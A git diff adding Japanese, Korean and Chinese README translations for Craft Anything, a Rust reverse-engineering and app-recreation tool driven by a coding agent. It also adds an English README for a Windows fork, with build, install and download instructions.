+ 私たちの Discord は、あらゆる種類の作り手が集まる場所です。絵を描く人、写真を撮る人、 + デッサンする人、映像を編集する人、文字を組む人、そしてまだ自分が何を作りたいのか + 模索している人。いま取り組んでいることを共有したり、助けを求めたり、不具合を + 教えたり、これらのツールでこうだったらいいのにと思うことを話したりしてください。 + どんな表現手段を使っていても、経験の長さにかかわらず、ここでは誰でも歓迎します。 +

+ +

+ discord.gg/artcraft · + getartcraft.com · + すべての Crafting Apps · + Craft Anything +

+ +--- + +## The Craft App Suite + +| | アプリ | 用途 | コード | 詳細 | +|:-:|---|---|---|---| +| | **PhotoCraft** | 画像編集:レイヤー、マスク、文字、本物の PSD ファイル | [GitHub](https://github.com/storytold/photocraft) | [ウェブサイト](https://getartcraft.com/apps/photocraft) | +| | **VectorCraft** | ベクターイラスト | [GitHub](https://github.com/storytold/vectorcraft) | [ウェブサイト](https://getartcraft.com/apps/vectorcraft) | +| | **FilmCraft** | 動画編集、カラー、サウンド | [GitHub](https://github.com/storytold/filmcraft) | [ウェブサイト](https://getartcraft.com/apps/filmcraft) | +| | **LightCraft** | 写真ライブラリと RAW 現像 | [GitHub](https://github.com/storytold/lightcraft) | [ウェブサイト](https://getartcraft.com/apps/lightcraft) | +| | **PdfCraft** | PDF の閲覧、整理、保護 | [GitHub](https://github.com/storytold/pdfcraft) | [ウェブサイト](https://getartcraft.com/apps/pdfcraft) | +| | **EffectCraft** | モーショングラフィックスと視覚効果 | [GitHub](https://github.com/storytold/effectcraft) | [ウェブサイト](https://getartcraft.com/apps/effectcraft) | +| | **DesignCraft** | ページレイアウトと出版 | [GitHub](https://github.com/storytold/designcraft) | [ウェブサイト](https://getartcraft.com/apps/designcraft) | +| | **FigCraft** | インターフェースデザインとプロトタイピング | [GitHub](https://github.com/storytold/figcraft) | [ウェブサイト](https://getartcraft.com/apps/figcraft) | +| | **WordCraft** | ワープロと文書 | [GitHub](https://github.com/storytold/wordcraft) | [ウェブサイト](https://getartcraft.com/apps/wordcraft) | +| | **SoundCraft** | 音声の録音と編集 | [GitHub](https://github.com/storytold/soundcraft) | [ウェブサイト](https://getartcraft.com/apps/soundcraft) | +| | **DeckCraft** | プレゼンテーションとスライド | [GitHub](https://github.com/storytold/deckcraft) | [ウェブサイト](https://getartcraft.com/apps/deckcraft) | +| | **CADCraft** | コンピューター支援設計 | [GitHub](https://github.com/storytold/cadcraft) | [ウェブサイト](https://getartcraft.com/apps/cadcraft) | +| | **GridCraft** | 表計算とデータ | [GitHub](https://github.com/storytold/gridcraft) | [ウェブサイト](https://getartcraft.com/apps/gridcraft) | +| | **TextureCraft** | 3D テクスチャ描画 | [GitHub](https://github.com/storytold/texturecraft) | [ウェブサイト](https://getartcraft.com/apps/texturecraft) | +| | **Craft Anything** | あらゆるソフトの仕組みを知り、自分の版を作る | [GitHub](https://github.com/storytold/craft-anything) | [ウェブサイト](https://getartcraft.com/apps/craft-anything) | +| | **SolidCraft** | Tangency Labs によるパラメトリック 3D CAD(コミュニティ製アプリ) | [GitHub](https://github.com/tangency-labs/solidcraft) | | + +## ライセンスとクレジット + +Craft Anything は [MIT](LICENSE-MIT) または [Apache-2.0](LICENSE-APACHE) のデュアルライセンスです (どちらかお選びください)。Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors. 必要な通知は [NOTICE](NOTICE) にあります。 + +同梱のフォント、アイコン、画像、その他のアセットは、それぞれ独自のオープンライセンスが適用されます。各アセットの作者、出典、ライセンスは [ATTRIBUTION.md](ATTRIBUTION.md) に記載しています。 + +スクリーンショットに写っているのは、そのために作られたサンプルプロジェクトです: example.com、スネークゲーム、小さな電卓プログラム。 + +[`docs/brand/`](docs/brand/) にある ArtCraft の名称、ワードマーク、ロゴは ArtCraft Team の商標で、このライセンスの対象外です。無改変のまま、このリポジトリと Craft Anything の一部としてのみ、[`docs/brand/LICENSE-brand.txt`](docs/brand/LICENSE-brand.txt) に従って使用できます。フォークや改変版では、これらを削除しなければなりません。 + +

+ ArtCraft
+ ArtCraft チームとコミュニティによる制作。 +

+ +--- + +このページは [README.md](README.md) の日本語訳です。内容に食い違いがある場合は英語版が優先されます。 diff --git a/desktop/README.ko.md b/desktop/README.ko.md new file mode 100644 index 0000000..dbc6736 --- /dev/null +++ b/desktop/README.ko.md @@ -0,0 +1,329 @@ +

+ + + + ArtCraft + + +

+ +

+ Craft Anything 아이콘: 파란 타일 위에 새겨진 까마귀 +

+ +

Craft Anything

+ +

+ English · 日本語 · 简体中文 · 한국어 +

+ +

+ 어떤 웹사이트, 앱, 게임이든 어떻게 동작하는지 파악하고, AI로 나만의 버전을 만들어 보세요. 순수 Rust로 만든 오픈소스 clean-room 엔진입니다.
+ 대상을 지정하고 원하는 것을 말하면, 실제 검사 도구로 원본을 분석한 뒤
+ 코딩 에이전트가 새 프로젝트를 빌드하고, 원본과 비교하며 결과를 다듬습니다. +

+ +

+ 100% Rust + macOS · Windows · Linux · FreeBSD · Web + License: MIT OR Apache-2.0 + Status: early alpha +

+ +

+ ArtCraft 커뮤니티 디스코드 참여하기 +

+ +

+ Craft Anything 다운로드 · + ArtCraft · + 모든 Crafting Apps +

+ +
+ +

+ Craft Anything의 웹사이트 프로젝트: 검사는 아직 맞지 않는 부분과 각 페이지가 얼마나 비슷한지 보여 주고, 빌더는 자기 버전이 준비됐다고 말하며, 승인 카드는 명령을 실행하기 전에 묻고, 계획은 네 단계 중 두 단계가 끝났음을 보여 줌 +
+ 웹사이트 프로젝트: 각 검사는 빌드가 원본과 얼마나 비슷한지 보여 주고, 규칙을 벗어나는 작업은 직접 승인하며, 계획에서는 남은 일을 확인할 수 있습니다. +

+ +> [!NOTE] +> **ArtCraft는 다양한 분야의 예술가들이 모인 커뮤니티입니다.** 화가, 사진가, +> 영화 제작자, 일러스트레이터, 디자이너, 애니메이터, 취미 창작자, 그리고 지난주에 +> 연필을 처음 든 사람까지. 무언가를 만든다면 여러분도 우리 일원입니다. **[디스코드에 인사하러 오세요](https://discord.gg/artcraft).** + +

+ 작동 방식 · + 두 가지 사용 방법 · + AI · + 에이전트 · + 내부 구조 · + 시작하기 · + 현재 상태 · + 다운로드 · + 디스코드 +

+ +
+ + + + + + + + +
+

🔍 무엇이든 분석

+ 웹사이트, 데스크톱 앱, 모바일 앱, 게임, 파일: 실제 검사 도구가 어떻게 만들어졌고 무엇을 하는지 알아내며, 모든 답의 근거를 함께 보여 줍니다. + 		+

🛠️ 나만의 버전 만들기

+ "이 웹사이트를 재현해 줘", "이 게임의 게임플레이를 Rust로 재현해 줘"처럼 원하는 것을 말하면, 코딩 에이전트가 요청한 스택으로 새 프로젝트를 만듭니다. + 		+

✅ 추측이 아닌 검증

+ 모든 빌드는 원본과 비교하며(세 가지 화면 너비의 페이지, 게임 자체 테스트, 앱 실행 결과), 충분히 비슷해질 때까지 다듬습니다. + 		+

🤖 에이전트 연동 지원

+ 314개 도구는 각각 CLI 명령이자 MCP 도구이므로, 어떤 에이전트든 앱이 쓰는 같은 엔진을 조작할 수 있습니다. 검사하는 데 AI는 필요하지 않습니다. +
+ +
+ +## 작동 방식 + +Craft Anything에서 대상을 지정하고 원하는 것을 말한 뒤 Start를 누르세요. 네 단계로 진행하며, +결정이 필요할 때는 알기 쉬운 말로 직접 물어봅니다: + +1. **Study:** 원본을 살펴봅니다. 화면 너비별 페이지, 코드, 파일, 실행 방식을 확인합니다. +2. **Build:** 코딩 에이전트가 새 프로젝트를 만듭니다. 요청에 적힌 언어, 프레임워크 또는 엔진을 쓰고, 적힌 것이 없으면 기본값을 씁니다. +3. **Check:** 빌드를 원본과 비교하고, 맞지 않는 부분을 나열합니다. +4. **Ready:** 결과를 열거나, 플레이하거나, 미리 볼 수 있습니다. 바꿀 부분을 요청하면 다듬어 줍니다. + + + + + + +
+ Make 화면: 재현할 웹사이트, 앱 또는 게임을 고르고, 주소를 입력하고, Clean room 또는 Deep 중 하나를 고르고, 원하는 것을 말한 뒤 Start를 누릅니다
+ Make: 재현할 대상을 고르고, 원하는 것을 말한 뒤 Start를 누르세요. + 		+ 모든 단계가 끝난 뱀 게임 프로젝트와 게임 플레이 버튼
+ Ready: 게임을 플레이하거나, 아래에서 변경을 요청하세요. +
+ +## 두 가지 사용 방법 + +- **Simple**(기본값): "What do you want to make?" 웹사이트, 앱 또는 게임을 고르고 설명한 뒤 Start를 누릅니다. + 프로젝트 페이지에는 네 단계(Study → Build → Check → Ready), 에이전트가 하는 일을 쉬운 말로 적은 내용, + 질문과 승인 카드, 결과가 원본과 얼마나 비슷한지, 결과나 폴더를 여는 버튼이 표시됩니다. + 아래쪽 입력창에서 변경을 요청하세요. "Just look inside"는 결과물을 만들지 않고, 대상을 열어 질문만 할 수 있습니다(Deep 모드에서). +- **Advanced**: 전체 기능을 갖춘 워크벤치입니다. 모든 도구(Ctrl/Cmd+K), 함수, 문자열, 의사 C 코드, 디스어셈블리, + 16진수(hex), 호출 그래프, 근거, 미확인 사항, 작업, 로그, 에이전트 콘솔을 제공합니다. + +두 모드 모두 같은 엔진을 사용합니다. + +## Clean room 또는 Deep + +- **Clean room**(기본값): 코드, 파일, 페이지 소스 등 원본 내부는 일절 읽지 않습니다. Craft Anything은 + 오직 눈에 보이는 것만으로 작업합니다. 사용자가 추가한 이미지, 방문자가 보는 웹사이트(스크린샷, 보이는 텍스트, + 측정한 레이아웃, 색상, 글꼴, 간격, 열어 본 메뉴), 그리고 허용한 경우 캡처한 앱 화면이 여기에 해당합니다. + 내부를 들여다보는 도구는 거부되며, Deep 모드를 켜는 방법을 알려 줍니다. +- **Deep**: 개인 용도로 모든 도구를 사용합니다. 프로그램의 코드와 파일은 내장 엔진(설치되어 있으면 Ghidra도)으로 읽고, + 웹사이트의 JavaScript를 읽고 시작 페이지를 관찰하며, 빌더는 이 모두를 쓸 수 있습니다. + +제목 표시줄이나 Settings에서 전환하거나, `settings_set deep_mode true`로 바꾸거나, CLI를 한 번 실행할 때 +`--deep`(또는 `--clean-room`)을 붙여 전환합니다. + +

+ Advanced 워크벤치: 함수 목록, 선택한 함수의 의사 C 코드, 도구 호출로 질문에 답하는 에이전트, 근거 기록부 +
+ Advanced: 함수, 의사 C 코드, 에이전트, 그리고 모든 답 뒤의 근거. +

+ +## AI + +빌드하려면 컴퓨터에 코딩 에이전트가 있어야 합니다. **Claude Code**를 먼저 지원합니다. Craft Anything은 설치된 순정 `claude` 프로그램을 변조 없이 그대로 실행하며, 사용자의 기존 로그인을 사용합니다. Craft Anything은 계정을 열람하거나 다루지 않습니다. 이 사용에는 본인이 Anthropic과 맺은 약관이 적용됩니다. 방법과 이유는 [docs/claude-code.md](docs/claude-code.md)를 보세요. Codex 어댑터도 있지만 실제 설치 환경에서는 아직 검증되지 않았습니다. 질문과 분석에는 Anthropic, OpenAI, OpenRouter, 그리고 로컬 OpenAI 호환 서버를 사용할 수 있습니다(Settings → AI). + +## 에이전트를 위한 설계 + +모든 도구는 CLI 하위 명령이자 MCP 도구이므로, 에이전트는 앱 없이도 대상을 조사하거나 재구현 전체를 실행할 수 있습니다: + +```sh +craft-anything-cli commands # every tool, by toolset +craft-anything-cli mcp # serve them to any MCP client +craft-anything-cli rebuild https://example.com "Recreate this website" +``` + +결과는 신뢰도, 범위, 한계가 적힌 근거 기록입니다. 큰 결과는 요약을 먼저 보여 주고, `core_evidence_browse`로 나눠 볼 수 있습니다. `craft-anything-cli setup`은 Craft Anything을 코딩 에이전트 앱에 연결합니다. + +## 내부 구조 + +네이티브 프로그램, .NET, Java, Android, Apple, Electron/JavaScript, 웹사이트, 펌웨어, 패킷 캡처, 데이터베이스, 게임 파일을 위한 314개 도구(엔진에 298개, 나머지는 AI 및 설정 계층)를 갖춘 순수 Rust 리버스 엔지니어링 엔진입니다. 자체 디코더, 디스어셈블러, 디컴파일러는 외부 프로그램 없이 동작합니다. Deep 모드는 이 모두를 쓰며, 설치되어 있으면 Ghidra도 사용합니다. 데스크톱 앱(egui), CLI, MCP 서버를 구동하며, 일부는 WebAssembly로 브라우저에서도 실행됩니다. 전체 목록은 [docs/tools.md](docs/tools.md)에 있습니다. + +## 시작하기 + +**Rust 1.97 이상**이 필요합니다(하위 의존성에 필요하며, `rustup update`로 업데이트합니다). Debian 또는 Ubuntu에서는 데스크톱 앱에 다음 패키지도 필요합니다: + +```sh +sudo apt-get install libxkbcommon-dev libwayland-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev libgtk-3-dev +``` + +그다음: + +```sh +git clone https://github.com/storytold/craft-anything && cd craft-anything +cargo run --release -p craft-anything # the desktop app +cargo install --path apps/craft-anything-cli # the CLI, as `craft-anything-cli` +craft-anything-cli doctor # checks the install, coding agents and engines +``` + +빌드하려면 컴퓨터에 로그인된 코딩 에이전트가 있어야 합니다([AI](#ai) 참고). `doctor`가 빠진 것을 알려 줍니다. 명령줄에서 재구현하세요(질문은 터미널에 나옵니다): + +```sh +craft-anything-cli rebuild https://example.com "Recreate this website" +craft-anything-cli rebuild - "A snake game in Rust" --rounds 1 +craft-anything-cli rebuild https://example.com "Make the header blue" --continue-in "" +craft-anything-cli rebuild - "Add a contact form" --project-folder "" --existing edit +``` + +새 프로젝트는 `Documents/Craft Anything`에 저장됩니다(Settings → General에서 바꿀 수 있습니다). 각 프로젝트 폴더에는 `craft.json`(요청, 대상, 상태, 기록), `capture/`(대상에서 기록한 것), `app/`(생성된 프로젝트), `checks/`(원본과의 각 비교), `investigation.cany/`(근거), `inbox/`(미답변 질문)가 들어 있습니다. + +직접 고른 폴더에서 프로젝트를 시작할 수도 있습니다(Start 아래의 "Choose a folder…" 또는 `--project-folder`). 폴더에 이미 파일이 있다면 그 파일이 무엇인지 지정하면 됩니다. 빌더가 그 자리에서 바로 수정할 앱 자체인지, 아니면 시작점으로 삼을 참고 자료(이 경우 앱은 그 옆 `app/`에 빌드됨)인지 고를 수 있습니다(Settings → General에서 선택을 기억하게 할 수 있습니다). Settings → General에는 다른 폴더의 프로젝트 목록도 함께 표시되며, 목록에서 제거해도 목록에서만 빠질 뿐 실제 파일은 지워지지 않습니다. + +## 현재 상태 + +> [!IMPORTANT] +> **현재 상태:** Craft Anything은 Early Alpha 단계입니다. 지금 되는 것, 일부만 되는 것, 다음 계획은 다음과 같습니다: +> +> - **지금 되는 것:** 데스크톱 앱(Simple 및 Advanced), CLI, MCP 서버. Claude Code를 빌더로 쓰는 웹사이트, 앱, 게임의 Study → Build → Check → Refine 워크플로. 세 가지 화면 너비의 웹사이트 검사. Unity, Unreal 또는 Godot 게임 재구현. Ghidra를 쓰는 Deep 모드. 이미지 및 3D 모델 생성(선택 사항, 본인의 fal.ai 키 사용). 플러그인(MCP 서버, 그리고 `wasm-plugins` 옵션으로 빌드할 때 WASM 컴포넌트). +> - **부분적으로 됨:** API 키와 다른 코딩 에이전트로 빌드(구현은 되었지만 실제 실행은 아직 안 함), 앱과 게임의 동작 검사, 모의 대상(stand-in)으로만 테스트된 일부 엔진 도구. +> - **다음:** 첫 공개 릴리스(Windows, macOS, Linux, FreeBSD용 설치 프로그램과 브라우저 뷰어는 CI에 준비되어 있음), 그다음 관리형 요금제. +> +> [docs/STATUS.md](docs/STATUS.md)에 자세한 내용과 각 부분을 확인한 방법이, [docs/tool-status.md](docs/tool-status.md)에 도구별 점검표가, [docs/ROADMAP.md](docs/ROADMAP.md)에 항목별 계획이 있습니다. 이슈를 남기거나, [디스코드](https://discord.gg/artcraft)에서 고장 난 부분을 알려 주세요. + +**책임 있는 사용.** Craft Anything은 본인이 소유하거나 살펴볼 권한이 있는 소프트웨어에만 사용하세요. DRM, 로그인, 안티치트를 절대 우회하지 않습니다. 재구현은 근거를 바탕으로 레이아웃, 스타일, 동작을 재현하며, 에이전트는 본인이 소유하거나 허가받았음을 확인하지 않는 한 로고, 사진, 텍스트를 복사하지 않도록 지시받습니다. + +## 다운로드 + +GitHub의 [최신 릴리스](https://github.com/storytold/craft-anything/releases/latest)에 아래 모든 빌드가 있고, [전체 릴리스](https://github.com/storytold/craft-anything/releases)에는 이전 버전과 릴리스 노트가 있습니다. 파일 이름의 ``는 버전 번호이며, `SHA256SUMS.txt`에 모든 파일의 체크섬이 있습니다. + +### Windows + +| 빌드 | 설치 프로그램 | 포터블 | +| --------------------------------- | ---------------------------------------- | ------------------------------------------------- | +| x64 (64비트 Intel/AMD) | `craft-anything--windows-x64.msi` | `craft-anything--windows-x64-portable.zip` | +| arm64 (Snapdragon 및 기타 ARM PC) | `craft-anything--windows-arm64.msi` | `craft-anything--windows-arm64-portable.zip` | +| x86 (32비트) | `craft-anything--windows-x86.msi` | `craft-anything--windows-x86-portable.zip` | + +설치 프로그램과 실행 파일은 코드 서명되어 있습니다. 포터블 zip은 설정을 앱 옆에 보관합니다. + +### macOS + +| 빌드 | 파일 | 참고 | +| ---------------------------------- | ---------------------------------------------- | ------------------------------------------------------ | +| 앱, 유니버설(Apple 실리콘 + Intel) | `craft-anything--macos-universal.dmg` | 서명 및 공증됨 | +| 명령줄 도구, 유니버설 | `craft-anything-cli--macos-universal.zip` | 서명 및 공증됨. macOS가 막으면 아래를 참고하세요 | + +0.2.0 이후 버전은 앱 안에 명령줄 도구가 들어 있어서, 빌드할 때 별도 zip이 필요 없습니다. 앱 없이 명령줄만 쓰려는 경우에만 필요합니다. + +브라우저로 zip을 내려받으면 "Apple could not verify craft-anything-cli"라며 멈출 수 있습니다(단독 프로그램은 공증 정보를 함께 담을 수 없어서, macOS가 온라인으로 확인해야 하기 때문입니다). 터미널로 내려받으면 이 확인을 거치지 않으므로, 대신 다음을 사용하세요: + +```sh +ver=0.2.0 # change this to the version you want +curl -fLO "https://github.com/storytold/craft-anything/releases/download/v$ver/craft-anything-cli-$ver-macos-universal.zip" +ditto -x -k "craft-anything-cli-$ver-macos-universal.zip" . +mkdir -p ~/.local/bin +mv "craft-anything-cli-$ver-macos-universal/craft-anything-cli" ~/.local/bin/ +~/.local/bin/craft-anything-cli --version +``` + +`craft-anything-cli`만으로 실행하려면 `~/.local/bin`을 `PATH`에 추가하세요. + +이미 막힌 파일이 있다면 휴지통으로 이동(Move to Bin) 대신 완료(Done)를 누른 뒤 `xattr -d com.apple.quarantine `를 실행하거나, 시스템 설정 → 개인정보 보호 및 보안 → 그래도 열기(Open Anyway)에서 허용하세요. + +### Linux + +| 형식 | x86_64 | aarch64 (ARM64) | 참고 | +| -------------------- | -------------------------------------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- | +| AppImage | `craft-anything--linux-x86_64.AppImage` | `craft-anything--linux-aarch64.AppImage` | 어디서나 실행. [AppImageUpdate](https://github.com/AppImageCommunity/AppImageUpdate)(`.zsync` 파일)로 자체 업데이트 | +| Flatpak | `craft-anything--linux-x86_64.flatpak` | `craft-anything--linux-aarch64.flatpak` | 샌드박스. `flatpak install --user ` | +| Debian/Ubuntu | `craft-anything--linux-x86_64.deb` | `craft-anything--linux-aarch64.deb` | | +| Fedora/RHEL/openSUSE | `craft-anything--linux-x86_64.rpm` | `craft-anything--linux-aarch64.rpm` | | +| Tarball | `craft-anything--linux-x86_64.tar.gz` | `craft-anything--linux-aarch64.tar.gz` | 원하는 곳에 압축 해제 | + +RISC-V(riscv64): `craft-anything--linux-riscv64.tar.gz`, tarball만 제공합니다. + +### FreeBSD + +| 빌드 | 파일 | +| ------ | -------------------------------------------- | +| x86_64 | `craft-anything--freebsd-x86_64.tar.gz` | + +### Web (WebAssembly) + +| 빌드 | 파일 | 참고 | +| ------------- | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 브라우저 뷰어 | `craft-anything-web-.zip` | 브라우저 안에서 파일이 무엇인지 분석해 알려 줌(파일은 브라우저를 벗어나지 않습니다). 폴더를 아무 정적 웹 서버에나 올리세요([packaging/web/README.md](packaging/web/README.md)) | + +
+ +

+ ArtCraft 커뮤니티 디스코드 참여하기 +

+ +

우리 함께 만들어요

+ +

+ 우리 디스코드에는 모든 분야의 창작자가 모입니다. 그림, 사진, 스케치, 영상 편집, + 서체 디자인을 하는 분들부터 아직 무엇을 좋아하는지 알아가는 중인 사람들까지요. 작업 중인 것을 공유하고, + 도움을 요청하고, 고장 난 부분을 알려 주고, 무엇을 할 수 있었으면 하는지 말해 주세요. + 여러분이 어떤 작업을 하든, 작업을 시작한 지 얼마나 되었든, 이곳에서는 모두 환영합니다. +

+ +

+ discord.gg/artcraft · + getartcraft.com · + The Crafting Apps · + Craft Anything +

+ +--- + +## The Craft App Suite + +| | 앱 | 용도 | 코드 | 자세히 보기 | +|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:| ------------------ | -------------------------------------------------------- | ----------------------------------------------------- | ------------------------------------------------------- | +| | **PhotoCraft** | 이미지 편집: 레이어, 마스크, 텍스트, 실제 PSD 파일 | [GitHub](https://github.com/storytold/photocraft) | [웹사이트](https://getartcraft.com/apps/photocraft) | +| | **VectorCraft** | 벡터 일러스트레이션 | [GitHub](https://github.com/storytold/vectorcraft) | [웹사이트](https://getartcraft.com/apps/vectorcraft) | +| | **FilmCraft** | 영상 편집, 색보정, 사운드 | [GitHub](https://github.com/storytold/filmcraft) | [웹사이트](https://getartcraft.com/apps/filmcraft) | +| | **LightCraft** | 사진 보관함과 RAW 현상 | [GitHub](https://github.com/storytold/lightcraft) | [웹사이트](https://getartcraft.com/apps/lightcraft) | +| | **PdfCraft** | PDF 읽기, 정리, 보호 | [GitHub](https://github.com/storytold/pdfcraft) | [웹사이트](https://getartcraft.com/apps/pdfcraft) | +| | **EffectCraft** | 모션 그래픽과 시각 효과 | [GitHub](https://github.com/storytold/effectcraft) | [웹사이트](https://getartcraft.com/apps/effectcraft) | +| | **DesignCraft** | 페이지 레이아웃과 출판 | [GitHub](https://github.com/storytold/designcraft) | [웹사이트](https://getartcraft.com/apps/designcraft) | +| | **FigCraft** | 인터페이스 디자인과 프로토타이핑 | [GitHub](https://github.com/storytold/figcraft) | [웹사이트](https://getartcraft.com/apps/figcraft) | +| | **WordCraft** | 워드 프로세싱과 문서 | [GitHub](https://github.com/storytold/wordcraft) | [웹사이트](https://getartcraft.com/apps/wordcraft) | +| | **SoundCraft** | 오디오 녹음과 편집 | [GitHub](https://github.com/storytold/soundcraft) | [웹사이트](https://getartcraft.com/apps/soundcraft) | +| | **DeckCraft** | 프레젠테이션과 슬라이드 덱 | [GitHub](https://github.com/storytold/deckcraft) | [웹사이트](https://getartcraft.com/apps/deckcraft) | +| | **CADCraft** | 컴퓨터 지원 설계(CAD) | [GitHub](https://github.com/storytold/cadcraft) | [웹사이트](https://getartcraft.com/apps/cadcraft) | +| | **GridCraft** | 스프레드시트와 데이터 | [GitHub](https://github.com/storytold/gridcraft) | [웹사이트](https://getartcraft.com/apps/gridcraft) | +| | **TextureCraft** | 3D 텍스처 페인팅 | [GitHub](https://github.com/storytold/texturecraft) | [웹사이트](https://getartcraft.com/apps/texturecraft) | +| | **Craft Anything** | 원하는 소프트웨어를 분석하고, 나만의 작품을 만들어 보세요 | [GitHub](https://github.com/storytold/craft-anything) | [웹사이트](https://getartcraft.com/apps/craft-anything) | +| | **SolidCraft** | Tangency Labs의 파라메트릭 3D CAD(커뮤니티 앱) | [GitHub](https://github.com/tangency-labs/solidcraft) | | + +## 라이선스와 크레딧 + +Craft Anything은 [MIT](LICENSE-MIT) 또는 [Apache-2.0](LICENSE-APACHE) 듀얼 라이선스이며, 원하는 쪽을 선택할 수 있습니다. +Copyright (c) 2026 ArtCraft Team and the Craft Anything contributors. 필수 고지는 [NOTICE](NOTICE)에 있습니다. + +동봉된 폰트, 아이콘, 이미지 및 기타 에셋은 각자의 오픈 라이선스를 유지합니다. 각 항목의 작성자, 출처, 라이선스는 [ATTRIBUTION.md](ATTRIBUTION.md)에 나와 있습니다. + +스크린샷에 보이는 것은 그 용도로 만든 예시 프로젝트입니다: example.com, 뱀 게임, 작은 계산기 프로그램. + +[`docs/brand/`](docs/brand/)에 있는 ArtCraft 이름, 워드마크, 로고는 ArtCraft Team의 상표이며 이 라이선스의 적용을 받지 않습니다. 수정하지 않은 상태에서만, 이 저장소와 Craft Anything의 일부로서만 사용할 수 있으며, 이때 [`docs/brand/LICENSE-brand.txt`](docs/brand/LICENSE-brand.txt)를 따라야 합니다. 포크와 수정본은 이를 제거해야 합니다. + +

+ ArtCraft
+ ArtCraft 팀과 커뮤니티가 만들었습니다. +

diff --git a/desktop/README.md b/desktop/README.md new file mode 100644 index 0000000..30616fe --- /dev/null +++ b/desktop/README.md @@ -0,0 +1,35 @@ +# REI Reverse Engineer Desktop + +Native Windows desktop fork of Craft Anything, based on upstream commit +`ecbd519c6a4bac713bcd0ad1efa6b042c3c3e7da` (workspace version 0.3.0). +Original repository: https://github.com/storytold/craft-anything. + +Rootcastle changes include the product title and application ID +`com.rootcastle.rei`, an original geometric icon, Rootcastle blue/black colors, +an isolated `rootcastle-rei` settings folder and `Documents/REI Reverse Engineer` +project directory. `REI_CONFIG_DIR` overrides the settings location. Internal +crate names and evidence/project formats retain upstream names for compatibility. + +Build from the parent repository with `./scripts/build_desktop.ps1`; add +`-Release` for an optimized build. Requires Rust 1.97.0 and Visual Studio C++ +build tools / Windows SDK. Run with `./scripts/run_desktop.ps1`. + +The native Rust application registers the Python workbench and original REA +as local MCP plugins. The Windows smoke test discovered 248 external tools +and executed Python identification and upstream static entropy analysis through +the desktop engine. Each server retains its own storage; this is a unified tool +interface rather than a merged evidence database. Start with +`../scripts/run_desktop.ps1 -Python ` after running upstream setup. +AI builder features require a separately configured coding agent or model. + +Keep LICENSE-MIT, LICENSE-APACHE, NOTICE and ATTRIBUTION.md with distributions. +Original copyright and third-party notices remain applicable. Upstream brand +artwork in docs/brand is archival material, not Rootcastle branding; see its +separate license. No upstream endorsement is claimed. ROOTCASTLE-FORK.json +records the exact source revision and modifications. + +Windows compilation and native window startup passed. Local Python and Rust +results, upstream pins and dependency advisory limitations are recorded in +[the verification report](../docs/DESKTOP-VERIFICATION.md). Optimized packaging, +signing and release CI remain pending. A local build does not prove every +upstream analyzer's accuracy. diff --git a/desktop/README.zh.md b/desktop/README.zh.md new file mode 100644 index 0000000..c3b395d --- /dev/null +++ b/desktop/README.zh.md @@ -0,0 +1,333 @@ + + +

+ + + + ArtCraft + + +

+ +

+ Craft Anything 图标：蓝色底块上雕刻的乌鸦 +

+ +

Craft Anything

+ +

+ English · 日本語 · 简体中文 · 한국어 +

+ +

+ 看清任意网站、应用或游戏是怎么做的，再让 AI 给你造一个自己的版本；一个纯 Rust 写的开源净室引擎。
+ 把目标指给它，说清你想要什么，它就用真实的检查工具研究原作，
+ 让编码 agent 建一个新项目，把结果与原件比对，再反复收敛。 +

+ +

+ 100% Rust + macOS · Windows · Linux · FreeBSD · Web + License: MIT OR Apache-2.0 + Status: early alpha +

+ +

+ 加入 ArtCraft 的 Discord 社区 +

+ +

+ 下载 Craft Anything · + ArtCraft · + 全部 Crafting 应用 +

+ +
+ +

+ Craft Anything 里的一个网站项目：检查清单列出还不一致的地方和每页的相似度，构建方说它的版本已就绪，一张审批卡在跑命令前先征求同意，计划显示四步里已完成两步 +
+ 一个网站项目：每项检查都说明构建成果有多像，规则之外的任何动作都要你批准，计划显示还剩什么没做。 +

+ +> [!NOTE] +> **ArtCraft 是一个来自各行各业的创作者社区。** 画家、摄影师、导演、插画师、设计师、动画师、 +> 爱好者，以及上周才拿起笔的人。只要你动手做东西，你就是我们的一员。**[来 Discord 打个招呼](https://discord.gg/artcraft)。** + +

+ 工作原理 · + 两种用法 · + AI · + 面向 agent · + 内部实现 · + 开始使用 · + 状态 · + 下载 · + Discord +

+ +
+ + + + + + + + +
+

🔍 研究一切

+ 网站、桌面程序、手机应用、游戏和文件：真实的检查工具弄清它们是怎么搭起来的、做了什么，每个结论都带着证据。 + 		+

🛠️ 造一个自己的

+ 说出你要什么（“复刻这个网站”、“用 Rust 复刻这个游戏的玩法”），编码 agent 就按你指定的技术栈建一个新项目。 + 		+

✅ 比对过，不是猜的

+ 每个构建都会与原件比对（网页按三种屏宽、游戏跑它自己的自检、应用看它的运行），并反复收敛到足够接近。 + 		+

🤖 为 agent 准备好

+ 314 个工具，每个既是 CLI 子命令、又是 MCP 工具，任何 agent 都能驱动跟应用同一个引擎。纯研究不需要 AI。 +
+ +
+ + + +## 工作原理 + +把 Craft Anything 指向一个目标，说清你要什么，按下 Start。它分四步走，遇到该你拍板的地方就用大白话问你： + +1. **研究：** 检查原件：它在各种宽度下的页面、它的代码、它的文件、它怎么运行。 +2. **构建：** 编码 agent 建一个新项目，用你的请求指定的语言、框架或引擎（没指定就用合理默认）。 +3. **检查：** 把构建成果与原件比对，列出还不一致的地方。 +4. **就绪：** 打开、试玩或预览结果，或者继续提要求让它接着收敛。 + + + + + + +
+ Make 界面：选择要复刻的网站、应用或游戏，填入地址，选净室或深度模式，说出你要什么，按下 Start
+ Make：选择要复刻什么，说出你要什么，按下 Start。 + 		+ 一个做完的贪吃蛇项目，所有步骤都完成了，还有一个“试玩游戏”按钮
+ 就绪：试玩游戏，或者在下面提改动要求。 +
